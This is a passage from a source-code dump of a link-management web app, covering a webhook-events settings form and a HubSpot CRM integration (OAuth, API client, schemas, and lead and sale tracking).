defaultProgramId } = useWorkspace();\n\n  const { data: webhook, isLoading } = useSWR<WebhookProps>(\n    `/api/webhooks/${webhookId}?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  const [data, setData] = useState<Pick<WebhookProps, \"linkIds\" | \"triggers\">>({\n    linkIds: [],\n    triggers: [],\n  });\n\n  useEffect(() => {\n    if (webhook) {\n      setData({\n        linkIds: webhook.linkIds,\n        triggers: webhook.triggers,\n      });\n    }\n  }, [webhook]);\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"webhooks.write\",\n    role,\n  });\n\n  // Save the form data\n  const onSubmit = async (e: FormEvent) => {\n    e.preventDefault();\n\n    setSaving(true);\n\n    const response = await fetch(\n      `/api/webhooks/${webhookId}?workspaceId=${workspaceId}`,\n      {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify(data),\n      },\n    );\n\n    setSaving(false);\n\n    const result = await response.json();\n\n    if (!response.ok) {\n      toast.error(result.error.message);\n      return;\n    }\n\n    mutate(`/api/webhooks/${webhookId}?workspaceId=${workspaceId}`, result);\n    toast.success(\"Webhook preferences saved!\");\n  };\n\n  const { linkIds = [], triggers = [] } = data;\n\n  const canManageWebhook =\n    !permissionsError || plan === \"free\" || plan === \"pro\";\n\n  const enableLinkSelection = LINK_LEVEL_WEBHOOK_TRIGGERS.some((trigger) =>\n    triggers.includes(trigger),\n  );\n\n  const availableWebhookTriggers = [\n    ...WORKSPACE_LEVEL_WEBHOOK_TRIGGERS,\n    ...(defaultProgramId ? PROGRAM_LEVEL_WEBHOOK_TRIGGERS : []),\n  ];\n\n  return (\n    <form onSubmit={onSubmit}>\n      <div className=\"w-full rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center gap-x-2 border-b border-neutral-200 px-6 py-4\">\n          <Link className=\"size-4\" />\n          <p className=\"text-sm font-medium text-neutral-700\">Webhook events</p>\n        </div>\n\n        <div className=\"p-4\">\n          <div>\n            <label htmlFor=\"triggers\" className=\"flex flex-col gap-1\">\n              <h2 className=\"text-sm font-medium text-neutral-900\">\n                Workspace level events\n              </h2>\n              <span className=\"text-xs text-neutral-500\">\n                These events are triggered at the workspace level.\n              </span>\n            </label>\n            <div className=\"mt-3 flex flex-col gap-2\">\n              {availableWebhookTriggers\n                .filter(\n                  (trigger) =>\n                    canManageWebhook && supportedEvents.includes(trigger),\n                )\n                .map((trigger) => (\n                  <div key={trigger} className=\"group flex gap-2\">\n                    <Checkbox\n                      value={trigger}\n                      id={trigger}\n                      checked={triggers.includes(trigger)}\n                      disabled={\n                        !canManageWebhook || !supportedEvents.includes(trigger)\n                      }\n                      onCheckedChange={(checked) => {\n                        setData({\n                          ...data,\n                          triggers: checked\n                            ? [...triggers, trigger]\n                            : triggers.filter((t) => t !== trigger),\n                        });\n                      }}\n                      title={\n                        !supportedEvents.includes(trigger)\n                          ? \"Not supported\"\n                          : undefined\n                      }\n                    />\n                    <label\n                      htmlFor={trigger}\n                      className={cn(\n                        \"select-none text-sm text-neutral-600\",\n                        supportedEvents.includes(trigger)\n                          ? \"group-hover:text-neutral-800\"\n                          : \"opacity-50\",\n                      )}\n                    >\n                      {WEBHOOK_TRIGGER_DESCRIPTIONS[trigger]}\n                    </label>\n                  </div>\n                ))}\n            </div>\n          </div>\n\n          <div className=\"mt-6\">\n            <label htmlFor=\"triggers\" className=\"flex flex-col gap-1\">\n              <h2 className=\"text-sm font-medium text-neutral-900\">\n                Link level events{\" \"}\n                <span className=\"rounded bg-yellow-100 px-1 py-0.5 text-xs font-medium text-yellow-800\">\n                  High traffic\n                </span>\n              </h2>\n              <span className=\"text-xs text-neutral-500\">\n                These events are triggered at the link level.\n              </span>\n            </label>\n            <div className=\"mt-3 flex flex-col gap-2\">\n              {LINK_LEVEL_WEBHOOK_TRIGGERS.map((trigger) => (\n                <div key={trigger} className=\"group flex gap-2\">\n                  <Checkbox\n                    value={trigger}\n                    id={trigger}\n                    checked={triggers.includes(trigger)}\n                    disabled={!canManageWebhook}\n                    onCheckedChange={(checked) => {\n                      setData({\n                        ...data,\n                        triggers: checked\n                          ? [...triggers, trigger]\n                          : triggers.filter((t) => t !== trigger),\n                      });\n                    }}\n                  />\n                  <label\n                    htmlFor={trigger}\n                    className=\"flex select-none items-center gap-2 text-sm text-neutral-600 group-hover:text-neutral-800\"\n                  >\n                    {WEBHOOK_TRIGGER_DESCRIPTIONS[trigger]}\n                  </label>\n                </div>\n              ))}\n            </div>\n\n            {enableLinkSelection || linkIds.length ? (\n              <div className=\"mt-4\">\n                <h2 className=\"text-sm font-medium text-neutral-900\">\n                  Choose links we should send events for\n                </h2>\n                <div className=\"mt-3\">\n                  <LinksSelector\n                    selectedLinkIds={linkIds}\n                    setSelectedLinkIds={(ids) =>\n                      setData({\n                        ...data,\n                        linkIds: ids,\n                      })\n                    }\n                    disabled={!canManageWebhook}\n                  />\n                </div>\n              </div>\n            ) : null}\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-4 py-3\">\n          <div className=\"shrink-0\">\n            <Button\n              text=\"Save changes\"\n              loading={saving}\n              type=\"submit\"\n              {...(permissionsError && {\n                disabledTooltip: permissionsError,\n              })}\n              disabled={!canManageWebhook || isLoading}\n              className=\"h-8\"\n            />\n          </div>\n        </div>\n      </div>\n    </form>\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/api.ts",
    "content": "import { hubSpotContactSchema, hubSpotDealSchema } from \"./schema\";\n\ntype FetchOptions = Omit<RequestInit, \"body\"> & {\n  body?: Record<string, unknown>;\n};\n\nexport class HubSpotApi {\n  private readonly baseUrl = \"https://api.hubapi.com/crm/v3\";\n  private readonly token: string;\n\n  constructor({ token }: { token: string }) {\n    this.token = token;\n  }\n\n  private async fetch<T>(\n    input: string,\n    options: FetchOptions = {},\n  ): Promise<T> {\n    const { body, headers, ...rest } = options;\n\n    const url = `${this.baseUrl}${input}`;\n\n    const fetchOptions: RequestInit = {\n      ...rest,\n      headers: {\n        Authorization: `Bearer ${this.token}`,\n        ...(body ? { \"Content-Type\": \"application/json\" } : {}),\n        ...headers,\n      },\n      body: body ? JSON.stringify(body) : undefined,\n    };\n\n    const response = await fetch(url, fetchOptions);\n    const result = await response.json();\n\n    if (process.env.NODE_ENV === \"development\") {\n      console.log(\"[HubSpot] API response\", {\n        url,\n        result,\n      });\n    }\n\n    if (!response.ok) {\n      throw new Error(\n        `[HubSpot] ${response.status} ${response.statusText} – ${\n          (result as any)?.message || \"Unknown error\"\n        }`,\n      );\n    }\n\n    return result as T;\n  }\n\n  // Get the contact by contact id\n  async getContact(contactId: number | string) {\n    try {\n      const contact = await this.fetch(\n        `/objects/contacts/${contactId}?properties=email,firstname,lastname,dub_id,dub_link,dub_partner_email,lifecyclestage`,\n      );\n\n      return hubSpotContactSchema.parse(contact);\n    } catch (error) {\n      console.error(\n        `[HubSpot] Failed to retrieve contact ${contactId}: ${error}`,\n      );\n      return null;\n    }\n  }\n\n  // Get the deal by deal id\n  async getDeal(dealId: number) {\n    try {\n      const deal = await this.fetch(\n        `/objects/0-3/${dealId}?associations=contacts`,\n      );\n\n      return hubSpotDealSchema.parse(deal);\n    } catch (error) {\n      console.error(`[HubSpot] Failed to retrieve deal ${dealId}: ${error}`);\n      return null;\n    }\n  }\n\n  // Update the contact by contact id\n  async updateContact({\n    contactId,\n    properties,\n  }: {\n    contactId: number | string;\n    properties: Record<string, unknown>;\n  }) {\n    try {\n      const result = await this.fetch(`/objects/contacts/${contactId}`, {\n        method: \"PATCH\",\n        body: {\n          properties,\n        },\n      });\n\n      return result;\n    } catch (error) {\n      console.error(\n        `[HubSpot] Failed to update contact ${contactId}: ${error}`,\n      );\n      return null;\n    }\n  }\n\n  // Create properties\n  async createPropertiesBatch({\n    objectType,\n    properties,\n  }: {\n    objectType: \"0-1\" | \"0-3\";\n    properties: Record<string, unknown>[];\n  }) {\n    try {\n      const result = await this.fetch(\n        `/properties/${objectType}/batch/create`,\n        {\n          method: \"POST\",\n          body: {\n            inputs: properties,\n          },\n        },\n      );\n\n      return result;\n    } catch (error) {\n      console.error(`[HubSpot] Failed to create properties: ${error}`);\n      return null;\n    }\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/constants.ts",
    "content": "export const HUBSPOT_OBJECT_TYPE_IDS = [\n  \"0-1\", // contact\n  \"0-3\", // deal\n] as const;\n\nexport const HUBSPOT_DEFAULT_SETTINGS = {\n  leadTriggerEvent: \"dealCreated\",\n  closedWonDealStageId: \"closedwon\",\n};\n\nexport const LEAD_TRIGGER_EVENT_OPTIONS = [\n  \"lifecycleStageReached\",\n  \"dealCreated\",\n] as const;\n\nexport const HUBSPOT_DUB_CONTACT_PROPERTIES = [\n  {\n    label: \"Dub Click ID\",\n    name: \"dub_id\",\n    type: \"string\",\n    fieldType: \"text\",\n    groupName: \"contactinformation\",\n    formField: true, // Allow the property to be used in a HubSpot form.\n  },\n  {\n    label: \"Dub Link\",\n    name: \"dub_link\",\n    type: \"string\",\n    fieldType: \"text\",\n    groupName: \"contactinformation\",\n  },\n  {\n    label: \"Dub Partner Email\",\n    name: \"dub_partner_email\",\n    type: \"string\",\n    fieldType: \"text\",\n    groupName: \"contactinformation\",\n  },\n];\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/oauth.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { InstalledIntegration } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { OAuthProvider, OAuthProviderConfig } from \"../oauth-provider\";\nimport { HubSpotAuthToken } from \"../types\";\nimport { hubSpotAuthTokenSchema } from \"./schema\";\n\nclass HubSpotOAuthProvider extends OAuthProvider<\n  typeof hubSpotAuthTokenSchema\n> {\n  constructor(provider: OAuthProviderConfig<typeof hubSpotAuthTokenSchema>) {\n    super(provider);\n  }\n\n  async refreshTokenForInstallation(\n    installation: InstalledIntegration,\n  ): Promise<HubSpotAuthToken> {\n    const token = hubSpotAuthTokenSchema.parse(installation.credentials);\n\n    if (this.isTokenValid(token)) {\n      return token;\n    }\n\n    const newToken = await this.refreshToken(token.refresh_token);\n\n    const credentials = {\n      ...newToken,\n      created_at: Date.now(),\n    };\n\n    await prisma.installedIntegration.update({\n      where: {\n        id: installation.id,\n      },\n      data: {\n        credentials,\n      },\n    });\n\n    return credentials;\n  }\n\n  isTokenValid(token: HubSpotAuthToken) {\n    if (!token.created_at) {\n      return false;\n    }\n\n    const buffer = 60 * 1000; // refresh 1 min early\n    const expiresAt = token.created_at + token.expires_in * 1000;\n\n    return Date.now() < expiresAt - buffer;\n  }\n}\n\nexport const hubSpotOAuthProvider = new HubSpotOAuthProvider({\n  name: \"HubSpot\",\n  clientId: process.env.HUBSPOT_CLIENT_ID!,\n  clientSecret: process.env.HUBSPOT_CLIENT_SECRET!,\n  authUrl: \"https://app.hubspot.com/oauth/authorize\",\n  tokenUrl: \"https://api.hubapi.com/oauth/v1/token\",\n  redirectUri: `${APP_DOMAIN_WITH_NGROK}/api/hubspot/callback`,\n  redisStatePrefix: \"hubspot:oauth:state\",\n  scopes: [\n    \"oauth\",\n    \"crm.objects.contacts.read\",\n    \"crm.objects.contacts.write\",\n    \"crm.objects.deals.read\",\n    \"crm.schemas.contacts.write\",\n  ].join(\" \"),\n  tokenSchema: hubSpotAuthTokenSchema,\n  bodyFormat: \"form\",\n  authorizationMethod: \"body\",\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/schema.ts",
    "content": "import * as z from \"zod/v4\";\nimport {\n  HUBSPOT_OBJECT_TYPE_IDS,\n  LEAD_TRIGGER_EVENT_OPTIONS,\n} from \"./constants\";\n\n// Authentication\nexport const hubSpotAuthTokenSchema = z.object({\n  access_token: z.string(),\n  refresh_token: z.string(),\n  scopes: z.array(z.string()),\n  hub_id: z.number(),\n  expires_in: z.number().describe(\"Expires in seconds.\"),\n  created_at: z.number().optional(),\n});\n\n// Integration settings\nexport const hubSpotSettingsSchema = z.object({\n  leadTriggerEvent: z\n    .enum(LEAD_TRIGGER_EVENT_OPTIONS)\n    .nullish()\n    .default(\"dealCreated\")\n    .describe(\n      \"Indicates which event should trigger the final lead tracking for the contact.\",\n    ),\n  leadLifecycleStageId: z\n    .string()\n    .nullish()\n    .describe(\n      \"The ID of the contact lifecycle stage that represents a lead. Applicable only if leadTrackingTrigger is 'lifecycleStageReached'.\",\n    ),\n  closedWonDealStageId: z\n    .string()\n    .nullish()\n    .default(\"closedwon\")\n    .describe(\"The ID of the deal stage that represents a closed won deal.\"),\n});\n\n// CRM\nexport const hubSpotContactSchema = z.object({\n  id: z.string(),\n  properties: z.object({\n    email: z.string(),\n    firstname: z.string().nullable(),\n    lastname: z.string().nullable(),\n    dub_id: z.string().nullish(),\n    dub_link: z.string().nullish(),\n    dub_partner_email: z.string().nullish(),\n    lifecyclestage: z.string().nullish(),\n  }),\n});\n\nexport const hubSpotDealSchema = z.object({\n  id: z.string(),\n  properties: z.object({\n    dealname: z.string(),\n    amount: z.string().nullable(),\n    dealstage: z.string(),\n  }),\n  associations: z.object({\n    contacts: z.object({\n      results: z.array(\n        z.object({\n          id: z.string(),\n          type: z.string(),\n        }),\n      ),\n    }),\n  }),\n});\n\n// Webhooks\nexport const hubSpotWebhookSchema = z.object({\n  portalId: z.number(),\n  objectTypeId: z.enum(HUBSPOT_OBJECT_TYPE_IDS),\n  subscriptionType: z.enum([\"object.creation\", \"object.propertyChange\"]),\n});\n\nexport const hubSpotLeadEventSchema = z.object({\n  objectId: z.number(),\n  subscriptionType: z.enum([\"object.propertyChange\", \"object.creation\"]),\n  objectTypeId: z.enum(HUBSPOT_OBJECT_TYPE_IDS),\n});\n\nexport const hubSpotSaleEventSchema = z.object({\n  objectId: z.number(),\n  subscriptionType: z.literal(\"object.propertyChange\"),\n  propertyName: z.literal(\"dealstage\"),\n  propertyValue: z.string(), // eg: closedwon\n});\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/track-lead.ts",
    "content": "import { trackLead } from \"@/lib/api/conversions/track-lead\";\nimport { TrackLeadResponse, WorkspaceProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { HubSpotAuthToken, HubSpotContact } from \"../types\";\nimport { HubSpotApi } from \"./api\";\nimport { hubSpotLeadEventSchema, hubSpotSettingsSchema } from \"./schema\";\n\nexport const trackHubSpotLeadEvent = async ({\n  payload,\n  workspace,\n  authToken,\n  settings,\n}: {\n  payload: Record<string, any>;\n  workspace: Pick<WorkspaceProps, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n  authToken: HubSpotAuthToken;\n  settings: z.infer<typeof hubSpotSettingsSchema>;\n}) => {\n  const hubSpotApi = new HubSpotApi({\n    token: authToken.access_token,\n  });\n\n  const { objectId, objectTypeId, subscriptionType } =\n    hubSpotLeadEventSchema.parse(payload);\n\n  // A new contact is created (deferred lead tracking)\n  if (objectTypeId === \"0-1\" && subscriptionType === \"object.creation\") {\n    const contactInfo = await hubSpotApi.getContact(objectId);\n\n    if (!contactInfo) {\n      return;\n    }\n\n    const { properties } = contactInfo;\n\n    if (!properties.dub_id) {\n      console.error(`[HubSpot] No dub_id found for contact ${objectId}.`);\n      return;\n    }\n\n    const customerName =\n      [properties.firstname, properties.lastname].filter(Boolean).join(\" \") ||\n      null;\n\n    const trackLeadResult = await trackLead({\n      clickId: properties.dub_id,\n      eventName: \"Sign up\",\n      customerEmail: properties.email,\n      customerExternalId: properties.email,\n      customerName,\n      mode: \"deferred\",\n      workspace,\n      rawBody: payload,\n    });\n\n    if (trackLeadResult) {\n      waitUntil(\n        _updateHubSpotContact({\n          contact: contactInfo,\n          trackLeadResult,\n          hubSpotApi,\n        }),\n      );\n    }\n\n    return trackLeadResult;\n  }\n\n  // Track the final lead event\n  // Case 1: A deal is created for the contact\n  if (\n    objectTypeId === \"0-3\" &&\n    subscriptionType === \"object.creation\" &&\n    settings.leadTriggerEvent === \"dealCreated\"\n  ) {\n    const deal = await hubSpotApi.getDeal(objectId);\n\n    if (!deal) {\n      return;\n    }\n\n    const { properties, associations } = deal;\n\n    // Find the contact associated with the deal\n    const contact = associations?.contacts?.results?.[0];\n\n    if (!contact) {\n      return;\n    }\n\n    // HubSpot doesn't return the contact properties in the deal associations,\n    // so we need to get it separately\n    const contactInfo = await hubSpotApi.getContact(contact.id);\n\n    if (!contactInfo) {\n      return;\n    }\n\n    const customer = await prisma.customer.findFirst({\n      where: {\n        projectId: workspace.id,\n        OR: [\n          { externalId: contactInfo.id },\n          { externalId: contactInfo.properties.email },\n        ],\n      },\n    });\n\n    if (!customer) {\n      console.error(\n        `[HubSpot] No customer found for contact ID ${contactInfo.id} or email ${contactInfo.properties.email}.`,\n      );\n      return;\n    }\n\n    const trackLeadResult = await trackLead({\n      clickId: \"\",\n      eventName: `Deal ${properties.dealstage}`,\n      customerExternalId: customer.externalId!,\n      customerName: `${contactInfo.properties.firstname} ${contactInfo.properties.lastname}`,\n      customerEmail: contactInfo.properties.email,\n      mode: \"async\",\n      workspace,\n      rawBody: payload,\n    });\n\n    if (trackLeadResult) {\n      waitUntil(\n        _updateHubSpotContact({\n          contact: contactInfo,\n          trackLeadResult,\n          hubSpotApi,\n        }),\n      );\n    }\n\n    return trackLeadResult;\n  }\n\n  // Track the final lead event\n  // Case 2: When the contact's lifecycle stage is changed to a qualified lead\n  if (\n    objectTypeId === \"0-1\" &&\n    subscriptionType === \"object.propertyChange\" &&\n    settings.leadTriggerEvent === \"lifecycleStageReached\"\n  ) {\n    if (!settings.leadLifecycleStageId) {\n      console.error(`[HubSpot] leadLifecycleStageId is not set.`);\n      return;\n    }\n\n    const contactInfo = await hubSpotApi.getContact(objectId);\n\n    if (!contactInfo) {\n      return;\n    }\n\n    if (\n      contactInfo.properties.lifecyclestage !== settings.leadLifecycleStageId\n    ) {\n      console.error(\n        `[HubSpot] Unknown contact lifecyclestage ${contactInfo.properties.lifecyclestage}. Expected ${settings.leadLifecycleStageId}.`,\n      );\n      return;\n    }\n\n    const { properties } = contactInfo;\n\n    if (!properties.dub_id) {\n      console.error(`[HubSpot] No dub_id found for contact ${objectId}.`);\n      return;\n    }\n\n    const customer = await prisma.customer.findFirst({\n      where: {\n        projectId: workspace.id,\n        OR: [\n          { externalId: contactInfo.id },\n          { externalId: contactInfo.properties.email },\n        ],\n      },\n    });\n\n    if (!customer) {\n      console.error(\n        `[HubSpot] No customer found for contact ID ${contactInfo.id} or email ${contactInfo.properties.email}.`,\n      );\n      return;\n    }\n\n    const trackLeadResult = await trackLead({\n      clickId: \"\",\n      eventName: `Contact ${properties.lifecyclestage}`,\n      customerExternalId: customer.externalId!,\n      customerName: `${contactInfo.properties.firstname} ${contactInfo.properties.lastname}`,\n      customerEmail: contactInfo.properties.email,\n      mode: \"async\",\n      workspace,\n      rawBody: payload,\n    });\n\n    if (trackLeadResult) {\n      waitUntil(\n        _updateHubSpotContact({\n          contact: contactInfo,\n          trackLeadResult,\n          hubSpotApi,\n        }),\n      );\n    }\n\n    return trackLeadResult;\n  }\n};\n\n// Update the HubSpot contact with `dub_link` and `dub_partner_email`\nexport const _updateHubSpotContact = async ({\n  hubSpotApi,\n  contact,\n  trackLeadResult,\n}: {\n  hubSpotApi: HubSpotApi;\n  contact: HubSpotContact;\n  trackLeadResult: TrackLeadResponse;\n}) => {\n  if (contact.properties.dub_link && contact.properties.dub_partner_email) {\n    console.log(\n      `[HubSpot] Contact ${contact.id} already has dub_link and dub_partner_email. Skipping update.`,\n    );\n    return;\n  }\n\n  const properties: Record<string, string> = {};\n\n  if (trackLeadResult.link?.partnerId) {\n    const partner = await prisma.partner.findUniqueOrThrow({\n      where: {\n        id: trackLeadResult.link.partnerId,\n      },\n      select: {\n        email: true,\n      },\n    });\n\n    if (partner.email) {\n      properties[\"dub_partner_email\"] = partner.email;\n    }\n  }\n\n  if (trackLeadResult.link?.shortLink) {\n    properties[\"dub_link\"] = trackLeadResult.link.shortLink;\n  }\n\n  if (Object.keys(properties).length === 0) {\n    return;\n  }\n\n  await hubSpotApi.updateContact({\n    contactId: contact.id,\n    properties,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/track-sale.ts",
    "content": "import { trackSale } from \"@/lib/api/conversions/track-sale\";\nimport { WorkspaceProps } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport * as z from \"zod/v4\";\nimport { HubSpotAuthToken } from \"../types\";\nimport { HubSpotApi } from \"./api\";\nimport { hubSpotSaleEventSchema, hubSpotSettingsSchema } from \"./schema\";\n\nexport const trackHubSpotSaleEvent = async ({\n  payload,\n  workspace,\n  authToken,\n  settings,\n}: {\n  payload: Record<string, any>;\n  workspace: Pick<WorkspaceProps, \"id\" | \"stripeConnectId\" | \"webhookEnabled\">;\n  authToken: HubSpotAuthToken;\n  settings: z.infer<typeof hubSpotSettingsSchema>;\n}) => {\n  const { objectId, subscriptionType, propertyName, propertyValue } =\n    hubSpotSaleEventSchema.parse(payload);\n\n  if (subscriptionType !== \"object.propertyChange\") {\n    console.log(`[HubSpot] Unknown subscriptionType ${subscriptionType}`);\n    return;\n  }\n\n  if (propertyName !== \"dealstage\") {\n    console.log(\n      `[HubSpot] Unknown propertyName ${propertyName}. Expected dealstage.`,\n    );\n    return;\n  }\n\n  if (propertyValue !== settings.closedWonDealStageId) {\n    console.error(\n      `[HubSpot] Unknown propertyValue ${propertyValue}. Expected ${settings.closedWonDealStageId}.`,\n    );\n    return;\n  }\n\n  const hubSpotApi = new HubSpotApi({\n    token: authToken.access_token,\n  });\n\n  const deal = await hubSpotApi.getDeal(objectId);\n\n  if (!deal) {\n    return;\n  }\n\n  const { id: dealId, properties, associations } = deal;\n\n  if (!properties.amount) {\n    console.error(`[HubSpot] Amount is not set for deal ${dealId}`);\n    return;\n  }\n\n  // Find the contact associated with the deal\n  const contact = associations?.contacts?.results?.[0];\n\n  if (!contact) {\n    console.error(`[HubSpot] No contact associated with deal ${dealId}`);\n    return;\n  }\n\n  // HubSpot doesn't return the contact properties in the deal associations,\n  // so we need to get it separately\n  const contactInfo = await hubSpotApi.getContact(contact.id);\n\n  if (!contactInfo) {\n    return;\n  }\n\n  const customer = await prisma.customer.findFirst({\n    where: {\n      projectId: workspace.id,\n      OR: [\n        { externalId: contactInfo.id },\n        { externalId: contactInfo.properties.email },\n      ],\n    },\n  });\n\n  if (!customer) {\n    console.error(\n      `[HubSpot] No customer found for contact ID ${contactInfo.id} or email ${contactInfo.properties.email}.`,\n    );\n    return;\n  }\n\n  return await trackSale({\n    customerExternalId: customer.externalId!,\n    amount: Number(properties.amount) * 100,\n    eventName: `${properties.dealname} ${properties.dealstage}`,\n    paymentProcessor: \"custom\",\n    invoiceId: dealId,\n    workspace,\n    rawBody: deal,\n  });\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/ui/settings.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { InstalledIntegrationInfoProps } from \"@/lib/types\";\nimport { Button, CardSelector } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport {\n  HUBSPOT_DEFAULT_SETTINGS,\n  LEAD_TRIGGER_EVENT_OPTIONS,\n} from \"../constants\";\nimport { hubSpotSettingsSchema } from \"../schema\";\nimport { updateHubSpotSettingsAction } from \"../update-hubspot-settings\";\n\nexport const HubSpotSettings = ({\n  installed,\n  settings,\n}: InstalledIntegrationInfoProps) => {\n  const { id: workspaceId } = useWorkspace();\n\n  const hubSpotSettings = hubSpotSettingsSchema.parse({\n    ...HUBSPOT_DEFAULT_SETTINGS,\n    ...(settings as z.infer<typeof hubSpotSettingsSchema>),\n  });\n\n  const [leadTriggerEvent, setLeadTriggerEvent] = useState(\n    hubSpotSettings.leadTriggerEvent,\n  );\n\n  const [leadLifecycleStageId, setLeadLifecycleStageId] = useState(\n    hubSpotSettings.leadLifecycleStageId,\n  );\n\n  const [closedWonDealStageId, setClosedWonDealStageId] = useState(\n    hubSpotSettings.closedWonDealStageId,\n  );\n\n  const { executeAsync, isPending } = useAction(updateHubSpotSettingsAction, {\n    async onSuccess() {\n      toast.success(\"HubSpot settings updated successfully.\");\n    },\n    onError({ error }) {\n      toast.error(error.serverError || \"Failed to update HubSpot settings.\");\n    },\n  });\n\n  const onSubmit = async (e: React.FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    if (!workspaceId) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      leadTriggerEvent,\n      leadLifecycleStageId,\n      closedWonDealStageId,\n    });\n  };\n\n  if (!installed) {\n    return null;\n  }\n\n  return (\n    <form className=\"mt-4 space-y-4\" onSubmit={onSubmit}>\n      <div className=\"rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center gap-x-2 border-b border-neutral-200 px-4 py-4\">\n          <p className=\"text-sm font-medium text-neutral-700\">\n            HubSpot Integration Settings\n          </p>\n        </div>\n\n        <div className=\"space-y-6 p-4\">\n          <div>\n            <p className=\"mb-4 text-sm leading-normal text-neutral-600\">\n              Choose when leads should be tracked in Dub. This determines the\n              trigger event for lead attribution.\n            </p>\n\n            <CardSelector\n              options={[\n                {\n                  key: \"dealCreated\",\n                  label: \"New Deal Created\",\n                  description: \"Track leads when deals are created\",\n                },\n                {\n                  key: \"lifecycleStageReached\",\n                  label: \"Lifecycle Stage Reached\",\n                  description: \"Track leads at specific lifecycle stages\",\n                },\n              ]}\n              value={leadTriggerEvent ?? undefined}\n              onChange={(value) => {\n                const newValue =\n                  value as (typeof LEAD_TRIGGER_EVENT_OPTIONS)[number];\n\n                setLeadTriggerEvent(newValue);\n\n                if (newValue === \"dealCreated\") {\n                  setLeadLifecycleStageId(null);\n                }\n              }}\n              gridCols=\"2\"\n            />\n          </div>\n\n          {leadTriggerEvent === \"lifecycleStageReached\" && (\n            <div>\n              <label className=\"mb-2 block text-sm font-semibold text-neutral-700\">\n                Lead Lifecycle Stage ID\n              </label>\n              <p className=\"mb-3 text-sm leading-normal text-neutral-600\">\n                Enter the HubSpot contact lifecycle stage ID that represents a\n                qualified lead. This will be used to track lead when contacts\n                reach this lifecycle stage.\n              </p>\n              <div className=\"relative rounded-md shadow-sm\">\n                <input\n                  className=\"w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                  placeholder=\"customer\"\n                  type=\"text\"\n                  autoComplete=\"off\"\n                  name=\"leadLifecycleStageId\"\n                  value={leadLifecycleStageId ?? \"\"}\n                  onChange={(e) => setLeadLifecycleStageId(e.target.value)}\n                />\n              </div>\n            </div>\n          )}\n\n          <div className=\"border-t border-neutral-200 pt-6\">\n            <label className=\"mb-2 block text-sm font-semibold text-neutral-700\">\n              Closed Won Deal Stage ID\n            </label>\n            <p className=\"mb-3 text-sm leading-normal text-neutral-600\">\n              Enter the HubSpot deal stage ID that represents a closed won deal.\n              This will be used to track sale when deals are marked as closed\n              won in HubSpot.\n            </p>\n            <div className=\"relative rounded-md shadow-sm\">\n              <input\n                className=\"w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                placeholder=\"closedwon\"\n                type=\"text\"\n                autoComplete=\"off\"\n                name=\"closedWonDealStageId\"\n                value={closedWonDealStageId ?? \"\"}\n                onChange={(e) => setClosedWonDealStageId(e.target.value)}\n              />\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end rounded-b-lg border-t border-neutral-200 bg-neutral-50 px-4 py-3\">\n          <div className=\"shrink-0\">\n            <Button\n              type=\"submit\"\n              variant=\"primary\"\n              text=\"Save changes\"\n              className=\"h-8 w-fit\"\n              loading={isPending}\n            />\n          </div>\n        </div>\n      </div>\n    </form>\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/integrations/hubspot/update-hubspot-settings.ts",
    "content": "\"use server\";\n\nimport { authActionClient } from \"@/lib/actions/safe-action\";\nimport { prisma } from \"@dub/prisma\";\nimport { HUBSPOT_INTEGRATION_ID } from \"@dub/utils\";\nimport { revalidatePath } from \"next/cache\";\nimport * as z from \"zod/v4\";\nimport { hubSpotSettingsSchema } from \"./schema\";\n\nconst schema = hubSpotSettingsSchema.extend({\n  workspaceId: z.string(),\n});\n\nexport const updateHubSpotSettingsAction = authActionClient\n  .inputSchema(schema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace } = ctx;\n    const { leadTriggerEvent, leadLifecycleStageId, closedWonDealStageId } =\n      parsedInput;\n\n    const installedIntegration = await prisma.installedIntegration.findFirst({\n      where: {\n        integrationId: HUBSPOT_INTEGRATION_ID,\n        projectId: workspace.id,\n      },\n    });\n\n    if (!installedIntegration) {\n      throw new Error(\n        \"HubSpot integration is not installed on your workspace.\",\n      );\n    }\n\n    const current = (installedIntegration.settings as any) ?? {};\n\n    await prisma.installedIntegration.update({\n      where: {\n        id: installedIntegration.id,\n      },\n      data: {\n        settings: {\n          ...current,\n          leadTriggerEvent,\n          leadLifecycleStageId,\n          closedWonDealStageId,\n        },\n      },\n    });\n\n    revalidatePath(`/${workspace.slug}/settings/integrations/hubspot`);\n  });\n"
  },
  {
    "path": "apps/web/lib/integrations/install.ts",
